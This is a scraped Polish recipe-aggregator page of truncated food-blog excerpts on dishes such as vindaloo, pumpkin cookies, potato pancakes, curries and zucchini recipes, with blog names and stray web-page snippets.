naprawdę bardzo polecam Wam ten przepis. Ja ogólnie trochę pojechałam z podaniem tej potrawy, bo pomieszałam dwa rodzaje kuchni: indyjską i meksykańską. Vindaloo nafaszerowałam tortille i zapiekłam je w sosie pomidorowym. Przed podaniem całość posypałam fetą i chipotle, czyli wędzoną jalapeno. Pojechałam? Pojechałam, ale warto było. Vindaloo możecie podać po prostu z ryżem lub chlebkami naan, jeżeli nie macie ochoty

Kardamonovy
Nasiona konopi — jakie mają właściwości i jak włączyć je do codziennej diety? 87

chleb czy bułki. Dzięki temu zyskasz cenne źródło energii już w pierwszym posiłku w ciągu dnia. Oprócz tego łuskane nasiona konopii sprawdzą się jako dodatek do pesto lub sosów do makaronu. Warto połączyć je ze świeżymi warzywami, a także z rukolą czy szpinakiem i śmietaną. Całość możesz zblendować, aby uzyskać gładką konsystencję lub posypać przygotowany wcześniej makaron nasionami. W efekcie

Słodkie okruszki
Ekspresowe dyniowe pieguski 114

blogu widzę, że to właśnie dyniowe pyszności zaskarbiają sobie teraz najwięcej Waszej uwagi, a w czołówce wyszukiwań znalazł się krem z dyni i pieczonych warzyw , makaron w sosie z pieczonej dyni , dyniowe bułeczki z dwoma nadzieniami oraz najlepsza dyniowa pasta z suszoną śliwką do chleba . Jak widać, prym wiodą wytrawne i rozgrzewające dania, dlatego dziś przychodzę z dyniową słodkością

Kuchnia w Słońcu Skąpana
Placki z gotowanych ziemniaków 376

sposobów. Mogą być doskonałą przekąską na imprezach, pasują jako danie obiadowe, a nawet mogą być podawane na śniadanie . Kwaśna śmietana to klasyczny dodatek, ale można je również podać z sosem czosnkowym, jogurtem lub ulubionym dżemem. Placki ziemniaczane z serem i szynką to połączenie tradycji z nowoczesnością . Placki ziemniaczane z gotowanych ziemniaków są szybkie i smaczne, a dodatek sera i szynki

Rozdomowiona
Knedle ze śliwkami i cynamonem 113

polane masłem i posypane bułką tartą lub cukrem. Knedle mogą mieć różne nadzienia, np. morele, jagody, truskawki, ser, grzyby, kapusta, mięso. Można je również jeść bez nadzienia, np. z sosem pieczarkowym lub gulaszem. Knedle są podobne do pierogów, ale różnią się od nich sposobem przygotowania i kształtem. Pierogi są z ciasta mącznego, które zawija się na pół z nadzieniem

ProstePesto.pl
Curry z kurczakiem i dynią 83

upieczenia dużej ilości dyni, która finalnie została zmiksowana i dodana do curry w postaci puree. I tak myślałam do czego można by go dodać. Bach, mięso. Jakieś aromatyczne, w sosie. Curry, a jakże. Na obecną porę roku – idealne. Zaglądnęłam do mojej szuflady z przyprawami i w sumie okazało się, że jest jak najbardziej przystosowana do potraw indyjskich. Na pewno

Kardamonovy
Banany w cieście kokosowym 96

obtaczamy kolejno w panierce 1->2->3. Banany wkładamy ostrożnie do rozgrzanego oleju i smażymy do momentu, aż otrzymamy złoty kolor. Odsączamy na ręczniku papierowym. Podajemy z sosem karmelowo-kokosowym i listkami mięty

Emskie Smaki
Jak wykorzystać mąkę z płaskurki w wypiekach? 97

makaron, będący świetną alternatywą dla ziemniaków. Makaron z płaskurki śmiało można zestawiać m.in. z warzywami (kalafior, brokuł, pieczarki, papryka, cebula), mięsem (schab, kurczak, indyk), rozmaitymi sałatkami warzywnymi i surówkami, sosem śmietanowym lub kurkowym czy też po prostu passatą pomidorową. Możliwości jest tak dużo, iż każdy znajdzie dla siebie optymalne rozwiązanie kulinarne. Czym jednak odznacza się omawiana płaskurka? Otóż jej największe

FoodMagazine.pl - Przepisy kulinarne
Żywność w zapasie, czyli dlaczego warto to robić? 96

spożycia, nie oznacza to od razu, że ciężko się pochorujemy czy będzie to nasz ostatni posiłek w życiu. Producenci żywności mają obowiązek ustalania terminu ważności danego produktu. Wszelkie konserwy, sosy, dania gotowe czy przetwory możemy przechowywać od roku do pięciu lat. Jeżeli mówimy o napojach, sokach wszelkiej maści i rodzaju, słodycze czy szeroko rozumiane przekąski to ich termin przydatności

ProstePesto.pl
Krokiety z ricottą i szpinakiem 125

bezpośrednio z zamrażalnika. Ten wyjęty bezpośrednio z zamrażalnika może potrzebować 2-3 dodatkowe minuty na ogniu. Lubisz dania ze szpinakiem ? Jeśli tak, to wypróbuj nasz przepis na Kurczaka w sosie śmietanowym ze szpinakiem i suszonymi pomidorami. Krokiety naleśnikowe z ricottą i szpinakiem The post Krokiety z ricottą i szpinakiem appeared first on MeCooks Blog

MeCooks
Sezon na kurki już trwa – poznaj inspiracje na dania z kurkami 96

także jako dodatek do tarty, a jeśli masz ich dużo, możesz zamarynować je na zimę. Doskonale komponują się zarówno z mięsem, jak i warzywami. Świetnie sprawdzą się w sałatkach, sosach, zupach czy risotto. Warto również spróbować kurek w roli głównej, na przykład pieczonych z czosnkiem i ziołami lub smażonych na maśle. Te grzyby są idealne jako farsz do naleśników

FoodMagazine.pl - Przepisy kulinarne
Zupa z mieszanki chińskiej – błyskawiczna i rozgrzewająca 108

rozgrzewające danie Składniki : 250-300 g mieszanki warzyw chińskich (połowa tradycyjnej paczki) makaron ryżowy typu nitki 1 cebula 300 g filetów z kurczaka 2 litry wody 3 łyżki sosu sojowego 200 g śmietanki 30% albo mleczka kokosowego 3 łyżeczki pasty curry (bez niej zupa z mieszanki chińskiej może być dość mdła, dlatego warto ją dodać; ewentualnie można zamienić na pastę

Rozdomowiona
Makaron z ricottą i rukolą 84

makaron to dosłownie 10 minut przygotowywania, no, chyba że wybierzesz ten rodzaj makaronu, który gotuje się kilkanaście minut. Jak makaron się ugotuje odlewasz gorącą wodę, wszystkie mieszasz i gotowe. Sos na bazie serka ricotta jest prosty i nie wymaga podgrzewania. Trzeba go jedynie doprawić i nadać mu smak, dodając dodatkowo sok i skórkę z cytryny, aby danie było wyraziste. @import

nietylkopasta.pl
Coq au Vin – klasyk kuchni Francuskiej 104

dosłownie 🙂 – danie na małym ogniu przez około godzinę, aż mięso będzie miękkie i aromatyczne, a wino się zredukuje. 7. Nałóż i pożeraj, Coq au Vin na talerzach, polane sosem z garnka, który jest pyszny, uwierz mi, jestem wręcz przepyszny 🙂 Coq au Vin to prawdziwy smak Francji, który z pewnością zadowoli nawet najbardziej wymagające podniebienia. Niech ten przepis przeniesie Cię

RafalCook
Szybkie dania obiadowe z patelni – najlepsze przepisy 84

Przepis na: Kulinarne Cuda 4. Ryż z kurczakiem i mieszanką chińską Przepis na: Prosta Kuchnia 5. Zapiekanka makaronowa z patelni Przepis na: Pieguskowa Kuchnia 6. Klopsiki z makaronem w sosie pieczarkowo-porowym Przepis na: Kulinarne Przeboje 7. Kasza bulgur z patelni Przepis na: Dorota Smakuje (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Szybkie dania obiadowe z patelni – najlepsze przepisy pochodzi z serwisu

Damusia.pl
Gulasz z indyka z cukinią 102

pewna, że świetnie będą pasowały także kawałki ananasa lub pomarańczy. Zobacz jak w prosty sposób w 5 krokach zrobić wyśmienity gulasz na obiad. Polecam również mój gulasz wieprzowy w sosie pomidorowym oraz gulasz wieprzowy z pieczarkami . Gulasz z indyka z cukinią – składniki Moja szklanka to pojemność 250 ml 700 g piersi lub udźca indyka 500 g cukinii (1 nieduża

Ania gotuje
Małpi chlebek 124

przez nieco ponad 30 minut. Upieczony chlebek studzę i polewam lukrem. Jeśli zdecydujcie się zrobić obtoczenie z większej ilości cukru oraz masła, lukier może okazać się zbędnym dodatkiem, gdyż sos który wytworzy się w trakcie pieczenia chlebka z masła i cukru, zupełnie wystarczy. Ja wolę wersję z lukrem i mniejszą ilością cukru i masła, stąd też taki a nie inny

MeCooks
Kurczak w sosie curry 92

Filety z kurczaka, mięciutkie, soczyste, dobrze doprawione curry, w pysznym sosie z papryką i mascarpone! Składniki: 2 filety z kurczaka, 2 łyżki curry, pół czerwonej papryki, ok 250 ml buliony, łyżeczka oleju 125 g sera mascarpone Przygotowanie: Filet dzielimy na 2-3 części. Posypujemy curry z każdej strony. Paprykę kroimy w paski. Na patelnię dodajemy olej oraz paprykę. Podsmażamy minutkę

Lena Gotuje
Paluchy drobiowe na parze 99

parze, dzięki temu zachowują najwięcej wartości odżywczych i smaku. Gotowanie na parze jest najzdrowszą formą przygotowania posiłków zarówno dla dzieci jak i dorosłych. Paluszki drobiowe możesz podać np. z sosem jogurtowo – koperkowym i gotowaną marchewką, dzięki temu posiłek będzie lepiej zbilansowany. Zapraszam do zapoznania się z innymi przepisami BLW dla najmłodszych, np. paszteciki z warzyw i mięsa z rosołu

ProstePesto.pl
Serniczek bananowy z ketonellą 79

ketonellą od Locco Co ! Składniki: 2 jaja 50 g erytrytolu 300 g jogurtu greckiego 0% tłuszczu 40 g budyniu śmietankowego 120 g banana bez skórki 40 g ketonelli wegańskiego sosu orzechowego z olejem MCT Sposób przygotowania: Jaja utrzeć z erytrytolem na puszystą masę. Dodać rozgniecionego banana i budyń. Całość dokładnie wymieszać. Następnie dodać jogurt grecki - masę wymieszać łyżką. Masę przelać

Truskawkowa Fiesta
Makaron z pesto i kurczakiem 77

potrzebujesz 3-5 minut. Na patelnię wrzuć ugotowany makaron, do gorącego makaronu dodaj domowe zielone pesto, porcję wody z gotowania makaronu i wymieszaj. Dzięki dodawaniu wody uzyskasz pyszny kremowy sos. Całość posyp tartym parmezanem lub innym dojrzewającym serem, ozdób listkami bazylii i podawaj. Smacznego! Artykuł Makaron z pesto i kurczakiem pochodzi z serwisu nietylkopasta.pl

nietylkopasta.pl
Co daje codzienne jedzenie orzechów? 95

organizmowi zdrowych tłuszczów i białka. Możesz także używać mielonych orzechów jako składnika w wielu przepisach kulinarnych. Sproszkowany nerkowiec czy ziarna arachidowe mogą stać się bazą dla zdrowego ciasta czy sosu. Nie zapominaj jednak, że warto spożywać orzechy z umiarem ze względu na ich wysoką zawartość tłuszczu. Zaleca się dzienny limit około 30 gramów (około garści) różnych rodzajów orzechów. Dlatego, wprowadzając

FoodMagazine.pl - Przepisy kulinarne
Hiszpański Gulasz z kurczaka i chorizo 94

warzyw i różnych przypraw. Pomimo że jest często kojarzony z Węgrami jego początki sięgają daleko przedstawianej historii. Historia gulaszu sięga średniowiecza kiedy to tureccy kucharze przywędrowali do Europy z sosem który w Turkach nazywany był – gulyás. Nazwa ta pochodzi od słowa – gulya oznaczającego stado bydła. Podczas swojej podróży przez Europę przepis na gulasz uległ różnym zmianom i dostosowaniom

RafalCook
Taborety gazowe – 4 wyjątkowe korzyści, które zapewniają. Sprawdź! 100

prostej i efektywnej konstrukcji taborety gazowe umożliwiają również szybkie i równomierne rozprowadzanie ciepła, co gwarantuje doskonałe rezultaty gotowania. Są one idealne do: smażenia na głębokim tłuszczu; gotowania zup i sosów; grillowania warzyw i mięs. To urządzenie jest szczególnie przydatne podczas przygotowywania imprez okolicznościowych. Wtedy dodatkowe miejsce do podgrzewania potraw jest często niezbędne, by sprostać wyzwaniu przygotowywania posiłków dla wielu gości

Via Gusto
Ślimaczki pieczone na kamieniu 99

bułeczek do nieco większych. Można je jeść letnie lub na zimno. To idealne bułeczki na piknik. Często je piekę na kolację w weekend. idą jedna za drugą. Zamiast tradycyjnego sosu marinara użyłam pastę z czarnych oliwek, którą przywiozłam z Korfu , gdzie spędziliśmy tegoroczne wakacje. Pasta z oliwek przypomina francuskie tapenade , ale nie zawiera anchois i kaparów. Natomiast jest w niej

codojedzenia
Na czym podawać przekąski, aby wyglądały elegancko? 91

zapomnij o odpowiednich dekoracjach z liści sałaty, szczypiorku czy natki pietruszki. Większe przekąski na zimno, takie jak nuggetsy, możesz ułożyć na okrągłym talerzu. Na samym środku łatwo umieścisz sos lub ketchup. Pomysły na serwowanie słodkich zagryzek Planujesz przygotować słodkie desery? Umieść je na paterze lub okrągłym talerzu w centralnym miejscu blatu. Ich zdrową alternatywę – czyli owoce – ułóż w drewnianej misce

Rozdomowiona
Trójkąty z porem i wędzonym łososiem 85

przez 17-20 minut, aż się pięknie zrumienią. Podawaj na ciepło lub zimno. Są doskonałe samodzielnie lub jako pełne danie z dodatkiem sałatki. Idealnie smakują maczane w sosie czosnkowym. Smacznego! @nietylkopasta.pl Chrupiące trójkąty z porem i łososiem. chcesz szczegółowy przepis? Link do niego znajdziesz w moim profilu #przepis #jedzenie #przepisytiktok #przepisyztiktoka #por #łosoś ♬ Emotional Piano for the Soul (Inspirational Background

nietylkopasta.pl
Figi z kozim serem 86

figę utrzyma w ryzach podczas pieczenia, a do tego da dymny i pyszny aromat. Całość obowiązkowo polej płynnym miodem, choć można go też zastąpić syropem z agawy, albo pysznym sosem balsamico, który też często jest słodki, a do tego bardzo aromatyczni i niesamowicie fajnie skomponuje się z figami i wspomnianymi dodatkami. @import url(https://static.mailerlite.com/assets/plugins/groot/modules/includes/groot_fonts/import.css?version=1643283); .ml-form-embedSubmitLoad{display

nietylkopasta.pl
Sałatka z makaronem i tuńczykiem 89

Sałatka z makaronem i tuńczykiem to smaczne i sycące danie, które jest popularne na całym świecie. Choć ma wiele wariantów, to jej korzenie sięgają różnych kuchni

Kulinarnyblog.pl - wiesz jak gotować!
Spaghetti z dyni aglio e oglio 89

makaron. Z upieczonej dyni bez problemu można widelcem oddzielić pojedyncze niteczki miąższu, przypominające makaron spaghetti (no albo może bardziej cienki makaron). Można go podać na różne sposoby, również z sosem al ragu. Squash potrzebuje wyrazistego towarzystwa, bo dynia sama w sobie jest raczej mdła w smaku. My proponujemy squash w formie makaronu aglio e eglio. Smażony czosnek pięknie aromatyzują danie

Niedzielny kucharz
Menu na tydzień: Idealne na jesień 91

potrawy typowe wyłącznie dla tej pory roku. Możecie spokojnie zrobić je zarówno zimą jak i wiosną. Oto nasze menu na tydzień: Poniedziałek: Kurczak alla cacciatora Kremowy, zawiesisty sos pomidorowy i zanurzone w nim mięciutkie, uduszone kawałki kurczaka. Można go podać z ryżem, makaronem lub zjeść z pieczywem. Danie proste, z kilku składników, o delikatnym, leśnym posmaku. W końcu jest

Niedzielny kucharz
Spaghetti z sardynkami i suszonymi pomidorami 88

dente. Kiedy makaron będzie gotowy, przełóż go bezpośrednio na patelnię i dodaj odrobinę wody z gotowania makaronu. Wymieszaj i grzej całość, aż płyny odparują i powstanie lekko kremowy sos, dopraw solą i pieprzem. Nałóż makaron, dodaj sardynki, posyp posiekaną rukolą i dopraw pieprzem. Pożeraj

RafalCook
Karmazyn z patelni 84

Podzielę się dziś z Wami jednym ze swoich ulubionych przepisów na rybę, będzie to karmazyn z patelni. To klasyczny sposób przygotowania tej ryby, można ją oczywiście

Kulinarnyblog.pl - wiesz jak gotować!
Tosty o smaku pizzy bez pieczywa 78

form").hide()} Polecam Wa też inne przepisy na słone śniadania: Kajzerki nadziewane szynką i serem Tosty z omletem Angielskie śniadanie Jajka zapiekane z parmezanem Szparagi z jajkiem i sosem holenderskim Jajka sadzone w pesto Tosty zapiekane z jogurtem – HIT TikToka Omlet z boczkiem i awokado Pikantne jajka sadzone Pasta z awokado i jajka Tosty z pieczarkami i jajkiem Jajka zapiekane

nietylkopasta.pl
Curry z indykiem i warzywami 84

ostra, u mnie wersja raczej łagodna. Jeśli ktoś lubi bardzo pikantne dania, to powinien do curry dodać chili lub więcej przyprawy curry. W tym daniu oprócz warzyw najbardziej lubię sos curry , który powstaje z mleczka kokosowego i aromatycznej przyprawy curry. Zamiast mleczka kokosowego do przygotowania curry z indykiem i warzywami, można wykorzystać słodką śmietanę. Przygotowując curry z warzywami na szybki

Kuchcik gotuje
Papryka faszerowana ziarnami i warzywami w sosie pomidorowym. 86

Papryka faszerowana ziarnami i warzywami w sosie pomidorowym. Faszerowana papryka. Faszerowana papryka to danie wykwintne i bardzo ładnie wyglądające na stole. Nadziewane papryki cieszą się sporą popularnością ze względu na to, iż można je przygotować nawet z dwudniowym wyprzedzeniem i tylko zapiec w dniu podania.  Moja propozycja na faszerowaną paprykę to wynik sprzątania lodówki. Przepis apetyczny i prosty, który

Z Kuchni Do Kuchni
Kotlety siekane z kurczaka 92

nadmiaru tłuszczu. Kotlety siekane można podawać na gorąco z ulubionymi dodatkami, np. ziemniaczanym puree , ale też na zimno jako dodatek do pieczywa lub w postaci przekąski np. z sosem kebab gyros . Kotlety siekane możesz przechowywać w lodówce w zamkniętym, szczelnym pojemniku do 3 – 4 dni. Nie polecam za to zamrażania. Kotlety siekane z drobiu Osobiście uważam, że mięso

Kuchnia Na Wypasie
Pulpety z piersi z kurczaka 108

Pulpety drobiowe, znane również jako pulpety z piersi z kurczaka, to jedno z tych dań, które zdobywają serca zarówno dorosłych, jak i dzieci. Niezwykła delikatność mięsa

Kulinarnyblog.pl - wiesz jak gotować!
Makaron z łososiem i pieczarkami 68

całość dusić chwilkę.  2. Po chwili dodać pokrojonego łososia i całość dusić koło 10 minut. Następnie dodać śmietankę, doprawić do smaku solą i pieprzem. 3. Do gotującego się sosu dodać ugotowany wcześniej makaron i starty parmezan. Całość zamieszać i podawać.  Smacznego!!! Inspiracja: rybyswiata.pl

Kuchnia domowa Ani
Keto gofry serowe w 10 minut 82

Keto gofry serowe to danie, które idealnie wpasowuje się w ramy diety ketogenicznej. Składają się one z jajek i sera, podane na przykład z keto guacamole, albo innym sosem. Pozwala zachować niski poziom węglowodanów. Gofry keto są doskonałą alternatywą dla tradycyjnych gofrów, które są bogate w węglowodany. Keto gofry serowe charakteryzują się bogatym smakiem sera

Kulinarnyblog.pl - wiesz jak gotować!
Surówka do obiadu z cukinii, papryki, marchewki i ogórka 116

polskich obiadów, a także do dań kuchni azjatyckiej. Świetnie sprawdzi się jako dodatek do ziemniaków i mielonych, do klusek śląskich, a także do makaronu ryżowego, sajgonek, czy ryżu z sosem curry. Dzięki marynowaniu warzywa mają jeszcze więcej smaku. Marchewka i papryka pozostają lekko chrupiące, a ogórek i cukinia pod wpływem marynowania stają się miękkie – jest to idealne połączenie. Lubię

Via Gusto
Dania obiadowe z patelni – najlepsze przepisy 93

ryżem i warzywami Przepis na: Kulineo.pl (adsbygoogle = window.adsbygoogle || []).push({}); 3. Kurczak po tajsku Przepis na: ProstaKuchnia.pl 4. Kurczak z makaronem i brokułem Przepis na: Alledobre.pl 5. Kurczak w sosie koperkowym Przepis na: Przepiski.pl (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Dania obiadowe z patelni – najlepsze przepisy pochodzi z serwisu Damusia.pl

Damusia.pl
Francuskie frytki Pont – Neuf 100

odstaw do lekkiego wystygnięcia. Potem ponownie rozgrzej olej, tym razem do 180°C i smaż frytki partiami do uzyskania złotego wyglądu przez 2 – 4 minut. Podawaj samodzielnie z sosem czosnkowym lub ketchupem. Idealnie sprawdzą się jako dodatek do smażonej ryby lub kurczaka. Osobiście uważam, że najlepiej smakują z dodatkiem gruboziarnistej soli. Jeśli szukasz innych pomysłów na frytki, zobacz również

Kuchnia Na Wypasie
CIASTO GIOTTO – ciasto z orzechami laskowymi 106

przepis na ciasto do pizzy włoskiej! Deser z jabłkami i bezą włoską (deser szarlotka bez pieczenia) Pomysł na obiad bez mięsa – 20+ PRZEPISÓW Przepis na makaron konjac w sosie curry ZERO | GYMBEAM Kruche ciasto z kiwi – ciasto z kiwi pieczone

Via Gusto
Leczo z parówką 100

przygotowane z boczkiem i kiełbasą. Leczo najlepiej smakuje ze świeżą bułką posmarowaną masłem. W mojej rodzinie zawsze je się leczo z pieczywem posmarowanym masłem, zawsze moczę sobie bułkę w sosie z leczo i tak zajadam. Życzę smacznego i zapraszam do skorzystania z innych przepisów z wykorzystaniem papryki, np. naleśniki z papryką i serem żółtym lub kotlety schabowe zapiekane z papryką

ProstePesto.pl
Cukinia panierowana 107

jedną bidną cukinię. My wrócił po pracy do domu i oczywiście zjadł „obiad” z wielką przyjemnością. I fakt, tak przyrządzoną cukinię mogłabym jeść dużo częściej. Bez dodatków, sosów, zupełnie bez niczego. Na ciepło i na zimno. Chrupiącą i taką zupełnie już nie. To jedna z niewielu potraw, która świetnie smakuje w każdej formie. Właśnie zapisałam sobie na liście

Kardamonovy
Deser z jabłkami i bezą włoską (deser szarlotka bez pieczenia) 111

Facebook Instagram Pinterest Sprawdź najnowsze przepisy Deser z jabłkami i bezą włoską (deser szarlotka bez pieczenia) Pomysł na obiad bez mięsa – 20+ PRZEPISÓW Przepis na makaron konjac w sosie curry ZERO | GYMBEAM Kruche ciasto z kiwi – ciasto z kiwi pieczone Wytrawna tarta z gorgonzolą i pomidorami Przepis na suszone pomidory w oleju lub w oliwie Artykuł powstał przy

Via Gusto
Scarpaccia z żółtej cukinii 107

cukinią, uważam że to bardzo wdzięczne warzywo o przepysznym smaku i wspaniałych właściwościach. Jeśli szukasz innych przepisów z wykorzystaniem cukinii, skorzystaj z innych przepisów, np. makaron z kurczakiem w sosie cukiniowym , placuszki cukiniowe , pieczone frytki z cukinii lub zupa krem z cukinii . (adsbygoogle = window.adsbygoogle || []).push({}); Toskański placek cukiniowy 5 z 1 głos Autor: Martyna Pietruszka Danie: Przekąska Kuchnia: Włoska Trudność

ProstePesto.pl
Tonnarelli z kwiatami cukinii i krewetkami 73

około 2-3 minut, chlusnęłam bianco i gdy się zredukowało, dodałam masło i skórkę z cytryny.  Dorzuciłam cukinię, makaron z chlustem wody z jego gotowania. Pomieszałam chwilę aż sos zrobił się kremowy i otulił makaron. Podałam od razu z kieliszkiem Vermentino

Cytryna&Co.
Ketchup z cukinii. Poznaj przepis na pyszną pastę warzywną 90

kiełbasy na gorąco, parówek czy mięs z grilla. Ja niektóre partie robię w nieco rzadszej wersji i dodaję potem do zupy czy gulaszu. Świetnie sprawdzi się również jako sos do makaronu. Składniki na ketchup z cukinii (6 słoików po 0,3 l) 1,2 kg cukinii (waga po obraniu i wydrążeniu pestek) 4 większe cebule (600 g) średniej wielkości jabłko

e-PrzepisyKulinarne
EKSPRESOWE SEROWO-BANANOWE KLUSKI ZE ŚLIWKAMI 89

SKŁADNIKI twaróg półtłusty 250 g 2 mniejsze banany mąka pszenna 80 g 1 mniejsze jajko odrobina soku z cytryny spora szczypta cynamon Sos 5-6 śliwek węgierek cukier brązowy lub kokosowy 1 łyżka woda z gotowania klusek Wszystkie produkty na kluski miksujemy, tylko do połączenia. Gotujemy wodę i solimy. Masę na kluski nabieramy 1dużą łyżką, wkładamy do wrzącej wody

Smaczne moje
Prosty przepis na kalafiora pieczonego w całości w sosie czosnkowym 114

minut. Po 15 minutach zdejmij z ognia i wylej wrzątek. Wymieszaj 70 g Finuu Hyvää z przeciśniętymi przez praskę ząbkami czosnku i płaską łyżeczką soli. Delikatnie posmaruj kalafiora przygotowanym sosem czosnkowym, starając się równomiernie pokryć całą powierzchnię. Włóż kalafiora do rozgrzanego piekarnika 190°C i piecz przez około 15 minut pod przykryciem – pokrywka lub folia aluminiowa. Zdejmij pokrywkę

Eat me! Fit me!
Sierpniowa tarta z cukinią i łososiem 92

delikatnego łososia, aromatyczne zioła i cytryna, która podkręca smaki i dodaje wciąż letniego twistu :) Pyszna i prosta tarta smakuje wybormie na ciepło i na zimno. Ja podałam ją z sosem jogurtowym ale możecie podać do niej to, na co tylko macie ochotę. Kruche ciasto trzymające w objęciach delikatne nadzienie to pyszny pomysł na zwieńczenie sierpnia i łagodny wstęp do najbardziej

Kuchnia w Słońcu Skąpana
5 pomysłów na kreatywne kanapki do szkoły 86

banana oraz połówki borówek. Nakryj ją drugim kawałkiem chleba. Przekrój kanapkę na pół lub na ćwiartki, zanim umieścisz ją w śniadaniówce. Sprawdź też: Sałatka z jajkiem, serem, warzywami i sosem musztardowym Kanapka jak włoska pizza Ciężko jest znaleźć dziecko, które nie lubiłoby pizzy. Dlaczego więc nie przyszykować dla niego kanapek wzorowanych na tym pysznym włoskim daniu? W tym celu: Podgrzej

Rozdomowiona
Dania dla dzieci 81

zaserwować na domowym przyjęciu albo zabrać ze sobą do pracy lub szkoły jako drugie śniadanie. Można je zajadać zarówno na ciepło, jak i na zimno w towarzystwie na przykład sosu czosnkowego.   Kurczaczki jak z KFC Przepis tutaj (KLIK) Soczyste, aromatyczne i przepyszne kąski drobiowe obtoczone chrupiącą i pięknie rumianą panierką. Lubią je zarówno dzieci jak i dorośli.   Rogaliki

Blog z Apetytem
25 pomysłów na drugie śniadanie do pracy na zimno 141

Poniżej znajdziesz jeszcze kilka innych pomysłów na drugie śniadanie do pracy na zimno: Na słono: Sałatka z soczewicą i warzywami : Soczewica, pokrojone pomidory, ogórki, cebula czerwona, natka pietruszki, skropione sosem winegret. Koktajl warzywny : W blendrze zmiksuj marchewkę, selera, pomidory i czerwoną paprykę z dodatkiem przypraw i soku z cytryny. Jogurtowy dip z warzywami : Świeże warzywa pokrojone w słupki z dipem

Via Gusto
Desery inspirowane japońskimi smakami, co dobrego można zjeść w restauracji sushi? 84

dodatkiem imbiru. Puszysta konsystencja ciasta sprawia, że rozpływa się ono w ustach , natomiast korzeń imbiru nadaje temu przysmakowi wyrazistości. Świetnymi dodatkami do tego nietuzinkowego deseru są biała czekolada i sos malinowy, które doskonale równoważą się z nieco wytrawnym smakiem imbiru. Deser mochi inspirowany japońskimi smakami Deserem nawiązującym do smaków Japonii, który można zjeść w restauracjach sushi , jest również mochi

kruche babeczki
Brzoskwinie w lekkim syropie na zimę 334

miesięcy. Jak wspomnieliśmy we wstępie, brzoskwinie w syropie możesz wykorzystać do wypieków, ciast bez pieczenia, deserów, naleśników oraz jako dodatek lub nawet baza do owocowego sosu do mięs. Z kolei z syropu z brzoskwiń, po rozcieńczeniu może powstać pyszny napój, a po dodaniu żelatyny, również domowa galaretka. Brzoskwinia w syropie Brzoskwinia w lekkim syropie , to świetny sposób na konserwowanie tych

Kuchnia Na Wypasie
Rolada z mięsa mielonego z pieczarkami 151

upiec razem z roladą), kaszą gryczaną lub ryżem. Jako dodatek idealnie sprawdzi się zielona fasolka szparagowa z bułką tartą lub po prostu sałata z winegretem. Można też przygotować sos pieczeniowy lub chrzanowy – nie jest on jednak konieczny. Podane proporcje starczą na 4-6 osób (w zależności od wielkości porcji). Rolada z mięsa mielonego: 800 g wieprzowego mięsa mielonego

Poezja smaku
Guacamole 81

Znany i lubiany na całym świecie sos na bazie awokado. Można jeść z tortillą, paluszkami lub krakersami chlebowymi lub jako pasta do grzanek. Jak kto lubi :-) Składniki: 2 owoce awokado 1 mała czerwona cebula papryczka chilli lub jalapeno 1-2 ząbki czosnku sól, pieprz 1-2 łyżki oliwy siekana natka pietruszki sok z 1/2 limonki lub cytryny płaska łyżeczka kminu

Kuchnia domowa Ani
Fasolka po bretońsku jak gotować ? 111

bretońsku doskonale rozgrzeje i doda poczucia komfortu. Możemy podać ją jako danie główne, poprzedzone zupą lub podane z chrupiącym chlebem, który doskonale nadaje się do maczania w aromatycznym sosie. Fasolka po Bretońsku - Przepis Oto przepis na smaczne danie fasolki po bretońsku: Składniki: 500 g świeżej lub mrożonej fasolki szparagowej 200 g kiełbasy wiejskiej lub boczku wędzonego, pokrojonego w plasterki

Podstawy Gotowania
Cukinia jak smażyć 104

świeżo zmielonym pieprzem lub skropić sokiem z cytryny dla dodatkowego smaku. Cukinia świetnie komponuje się jako przekąska lub dodatek do dań głównych. Możesz także spróbować podać ją z sosem jogurtowym lub tzatziki. Ciesz Się Smakiem i Leśnością Smażona cukinia to pyszna i lekka przekąska lub dodatek, którym możesz urozmaicić swoje posiłki. Dzięki różnym technikom smażenia możesz osiągnąć różnorodność smaków

Podstawy Gotowania
Halibut jak smażyć ? 102

filety i smaż drugą stronę przez kolejne 3-4 minuty, aż mięso będzie białe i jędrne. Do smażonego halibuta dodaj sok z cytryny i posiekane zioła. Delikatnie polej mięso sosem. Podawaj smażonego halibuta od razu, udekorowanego świeżymi ziołami i cytrynowymi plasterkami. Halibut jak smażyć - podsumowanie Smażony halibut to doskonałe danie rybne, które zachwyci Twoje podniebienie chrupkością skórki i delikatnym smakiem

Podstawy Gotowania
Wątróbka jak smażyć ? 97

środku. Doprawianie i Podawanie Wątróbkę można doprawić różnymi przyprawami i dodatkami. Czosnek, cebula, zioła czy nawet odrobinę wina mogą nadać wątróbce wyjątkowego aromatu. Podawaj wątróbkę na ciepło, np. z sosem grzybowym lub karmelizowaną cebulą. Porady i Triki Unikaj Nadmiernego Smażenia Wątróbka jest delikatnym składnikiem, dlatego unikaj zbyt długiego smażenia. Jeśli wątróbka jest przesmażona, może stać się sucha i gumowata. Kombinuj

Podstawy Gotowania
Dorsz jak smażyć ? 105

soczysty. Doprawianie i Podawanie Dorsza można doprawić różnymi przyprawami, ziołami i dodatkami. Skrop go sokiem z cytryny, posyp świeżymi ziołami lub przyprawami według swojego gustu. Podawaj z lekkimi sosami, sałatkami lub ulubionymi dodatkami. Porady i Triki Unikaj Zbyt Długiego Smażenia Dorsz to delikatna ryba, dlatego unikaj zbyt długiego smażenia, aby nie utracić soczystości i miękkości mięsa. Kontroluj Temperaturę Rozgrzej patelnię

Podstawy Gotowania
Gotowanie w mikrofali przepisy 101

przyprawy do smaku Instrukcje: Wymieszaj ryż z wodą i warzywami w misce. Podgrzewaj w mikrofali przez 10-12 minut, aż ryż wchłonie całą wodę. 5. Filet Z Kurczaka w Sosie Pomidorowym Składniki: 1 filet z kurczaka 1/2 szklanki przecieru pomidorowego 1 łyżka oliwy Sól, pieprz i przyprawy do smaku Instrukcje: Skrop filet z kurczaka oliwą i posyp przyprawami. Umieść

Podstawy Gotowania
Pieczone ziemniaki po bałkańsku, pyszny obiad 100

180C. Wstaw ziemniaki i piecz do momentu aż wierzch się zrumieni . Około 30 minut. Serwuj posypane zieleniną dowolnego gatunku Idealne na ciepło i na zimno. Doskonałe także z sosami jogurtowymi takimi jak np. Country dip. Smacznego!         Artykuł Pieczone ziemniaki po bałkańsku, pyszny obiad pochodzi z serwisu Ogrodnik w podróży

Ogrodnik w podróży
Jak zamrozić rosół ? 99

